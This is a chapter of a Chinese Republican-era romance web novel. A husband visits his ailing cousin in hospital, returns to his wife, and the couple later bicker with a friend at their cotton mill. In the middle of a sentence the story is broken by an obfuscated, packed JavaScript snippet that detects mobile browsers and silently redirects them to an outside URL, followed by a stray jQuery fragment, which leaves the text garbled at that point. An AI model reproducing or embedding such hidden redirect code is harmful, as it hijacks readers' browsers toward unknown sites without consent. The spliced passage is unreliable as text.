病房里弥漫着刺鼻的消毒水气味,属于女子的白皙手臂被轻轻抬起,一只手执着在混合了酒精的冷水中浸泡过的棉巾,在她纤细滑腻的肌肤上拭过,那只臂膀便软绵绵搭在了那人的肩头,散着幽幽清香。
冰凉的棉巾从女子的脖颈处向下滑去,经过她的锁骨,靠近她衣襟掩映下的胸口,也没有停歇。
病床上昏睡着的年轻女子终于被胸口处的冰凉唤回了些神志,纤长的睫毛微微颤抖,然后,缓缓睁开了双眸。她的目光依旧迷离不定,口中的称呼也喃喃到近乎耳语,在夜色中的昏黄灯光之下,就带上了几分暧昧亲昵之意:
“表哥……”
“你醒了。”
一道清清淡淡的男子声线响起,从门口处的椅子上站起了一个修长清隽的身影。渠殊同对着正在为床上女子擦身的小护士微一颔首,那小护士便放下棉巾,轻手轻脚离开了病房,还不忘贴心地关上了门。
渠殊同却一动不动,依旧站在门口,只将视线移到缓缓坐起身的女子面上:“好久不见,瑶光。什么时候回来的?”
傅瑶光抱着被子靠在床头,声音低低的:“回来有几天了。”
渠殊同双手背在身后,语气没有一丝波动:“我帮你去联系谁?”
“我……”傅瑶光咬着下唇,将本就浅淡的唇色咬成青白,“我是自己回来的,没有人可以联系。”
她的声音越来越低,说到最后,几不可闻。
渠殊同有些诧异,却没再多问,沉吟一会儿,点头:“那我帮你去联系婶婶。”
“表哥不要。”傅瑶光猛地直起身子,抬眸时,眼中已含了潋滟泪光,“当时……”
她吸吸鼻子,这才能继续道:“我知道姨母是一番好意,但我不愿就算了,还为了躲着姨母一声不吭地出了洋,姨母一定很生气。这么多年了,我无时无刻不牵挂于心。我想以一个好的状态出现在她面前求她原谅,不想这样……”
渠殊同看着她望过来的满是哀求的眸子,想了想,道:“既然如此,我给你找一个护工来。”
傅瑶光点头。渠殊同又问了她在哪里落脚,得知她已经租下了房子,也就再没什么可说的了,便点头,从兜里取出一张名片,轻轻放在门口的茶几上:
“这有我的电话,有什么需要帮助的事情,你可以找到我。今日已经不早了,你早些休息,我先回了。”
渠殊同对她颔首,转身就想走,身后却又传来一声“表哥。”
傅瑶光可怜兮兮地看着他:“表哥,你今晚……能不能陪陪我?”
似乎是看出了渠殊同的惊讶,傅瑶光急忙解释:“我一个人回来的,江阳城变了很多,我有点害怕……”
渠殊同安静听她说完,轻轻笑了一下,再开口时,语气很是和煦。
“恐怕不行,”他说,“已经很迟了,我太太在家里等我。”
傅瑶光瑟缩了一下,讷讷点头:“不好意思……表哥你路上小心。”
渠殊同点头,大步迈出病房。可还没等他关上门,病房里就传出傅瑶光剧烈的咳嗽声,还带着“嗬嗬”的粗喘,像是破了的风箱。
渠殊同停下了步子。他招手唤来了医生,与医生一同返回了病房,又是折腾了许久,傅瑶光的情况才渐渐平稳下来。
她的脸颊嫣红,胸膛还剧烈起伏着,声音也是嘶哑的,却不住地道歉,连声催促他赶快回去,又哀求道:“表哥,不要告诉别人我回来了,好吗?”
渠殊同颔首:“你安心休息。”
这么一通折腾下来,等渠殊同回到老宅,已经是凌晨三点。他轻手轻脚走进房间,也没有点灯,摸黑走到床边,俯下身子,借着窗外的朦胧月光,低头看着毓琼的脸。
她似乎睡得有些不安稳,秀气的眉头微蹙,睫毛投下一片浅浅的阴影,肌肤吹弹可破,渠殊同甚至能看清她脸上的可爱绒毛。她的一头黑发凌乱散在枕上,还有几缕调皮地落在颊侧,随着她的呼吸,轻轻颤抖着。
渠殊同就盯着那颤颤巍巍的几根发丝,竟觉得甚有乐趣,看着看着便出了神,连唇角何时勾了起来都不知道。
毓琼却在睡梦中感觉到脸上瘙痒,鼻尖皱了皱,从被中伸出一只手,在脸上胡乱扒拉了一通,猫咪洗脸一般,终于满足,转了个方向继续睡。
她这个样子落在渠殊同眼中,就像小孩子一样,与那日挽着他的臂弯、肩并肩站在一起,艳光四射出现在众人面前,落落大方、侃侃而谈的样子,判若两人。
却一样的让他……难以移开视线。
渠殊同在手心哈了口气,待从外带入的凉意彻底散尽,才轻轻握上她的手腕,小心翼翼放进被子里,又将上下左右的被角全都掖的严严实实。
然后,脚步轻快回到地上属于自己的“床榻”边,躺了下去。
第二日,毓琼得了那匹新染的纱,果然喜欢得很,信誓旦旦说一定会大卖,又一脸担忧地问他,是不是棉纱厂又出了什么问题,才让他凌晨才归。
渠殊同丝毫没有隐瞒,老老实实地交代,说有一位许久不见的亲戚孤身到了江阳,却生了病,送去医院耽搁了时间。
毓琼松了口气,又问:“严重吗?需要我去看望一下吗?”
渠殊同摇头:“我已让渠扬去找了护工,你不必费心。”
毓琼点点头,忽地被另一件事吸引了注意力:“说到渠扬,我好久没见过他了,他去哪里了?”
渠殊同笑,给她碗里挟了只虾饺:“前段时间,我让他去外地帮我做事了。”
“哦,”毓琼应了一声,顺口道:“那让渠扬帮我送一束花过去吧。花花那么好看,不管是谁都会喜欢的。”
渠殊同应了一声,默默记在了心里。
吃过早餐,渠殊同就先出了门,毓琼则在家里整理她的设计画稿。等到容妈做出了午饭,她便挎着她的小篮子,照旧去棉纱厂找渠殊同,两人一道吃过饭,休息一会儿,就开始各忙各的事。
这一套流程现在两人都已经非常熟稔,就是渠殊同有时有事会离开棉纱厂,毓琼也依旧安安稳稳坐在他的办公室里,埋头学习。
姚家的小三爷拖拖沓沓走进渠殊同的办公室时,看到的便是坐在大办公桌之后的毓琼。
“你怎么在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264640|160517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里?”他抻长脖子去看毓琼面前画了一半的画稿,挑了挑眉,“呦呵,宴席都过了,你还在设计衣服呀?咱俩关系这么铁,你给我也设计一身呗。”
一边说着,一边对着毓琼飞来一个媚眼。
毓琼看到他也很是惊讶,可见他这幅吊儿郎当的样子,竟还调戏到自己头上了,不由有些上火。
“不给,旁边待着去。”她将面前的画稿翻过去,没好气的挥手,“我说,整天与姑娘们厮混,丢不丢人?您能不能也干点儿正事?”
姚勖谦耸肩,忽地探身,凭借着身高优势和修长的手臂,轻易便从毓琼手边抽走了那几张设计图,一边翻看着,一边啧啧感叹:“不给做就算了,你给我做,我也不敢穿呢!”
毓琼恼怒:“什么意思?”
“看看看,”姚勖谦一根手指在画稿上标着的尺寸上戳戳点点,“从一张纸抄到另一张纸,都能把数字抄错,粗心毛躁成这样,我都怕穿着你的衣服走在街上,突然四分五裂成几块儿从身上掉下去呢。”
他双手抱胸,打了几个哆嗦,一副委屈小媳妇儿的夸张模样:“我这么棒的身材,可不能被人白看了去!”
毓琼白他一眼,劈手从他手中夺回画稿,细细一看,哑然失声。
她的确是抄错了。
毓琼又是郁闷,又觉丢人,颇有些恼羞成怒,也不肯认输,当即回嘴:“白斩鸡一样,谁稀罕看你?还称得上什么身材,真是好笑。”
姚勖谦就瞪眼:“你说谁白斩鸡呢?”
渠殊同进来时,看到的就是两人隔着桌子,斗鸡一样瞪着对方的样子。
对于毓琼和姚勖谦这两位见面就吵的欢喜冤家,渠殊同着实是有些无奈,摇摇头,将手中提着的一只牛皮箱子递到姚勖谦手中,这才算中止了这场对峙。
毓琼气哼哼的盯着那只老旧的棕色牛皮手提箱:“什么东西?”
渠殊同正要开口,却被姚勖谦抢白。
“致一的私钱,一直都是我来保管的,怎么了?这你也不准?”他哥俩好的搭上渠殊同肩膀,对着毓琼挑衅地抬起下巴,“你管这么严做什么?”
“我不准。”毓琼立刻点头,伸出一只手,“交出来!”
渠殊同夹在两人中间,头疼地揉揉眉心。
三人一起走出天行棉纱厂的大门时,毓琼和姚勖谦二人还在你一言我一语地互相呛声,渠殊同的两只耳朵没一刻是空闲的,只觉脑袋嗡嗡的。
他正想着要怎么平息两位的愤怒,忽地,旁边冲过来一个人,直直拦到三人面前,挡住了他们的路。
这下子,就连还在嚷嚷的毓琼和姚勖谦两人都不说话了,一起闭了嘴,扭头看向他。
这人穿了一件格子衬衫,身穿一条背带长裤,头上歪带一顶鸭舌帽,看着倒是斯斯文文的。迎上三人的视线,他急忙露出一个笑容,从斜背着的皮包里摸出一张名片,双手捧到三人面前。
“几位安好,我叫薛方,是一位导演。”他满脸是笑,视线在三人身上转了一圈,最后定在毓琼身上,期盼道,“渠太太,我有话想与您说,不知您现在是否方便呢?”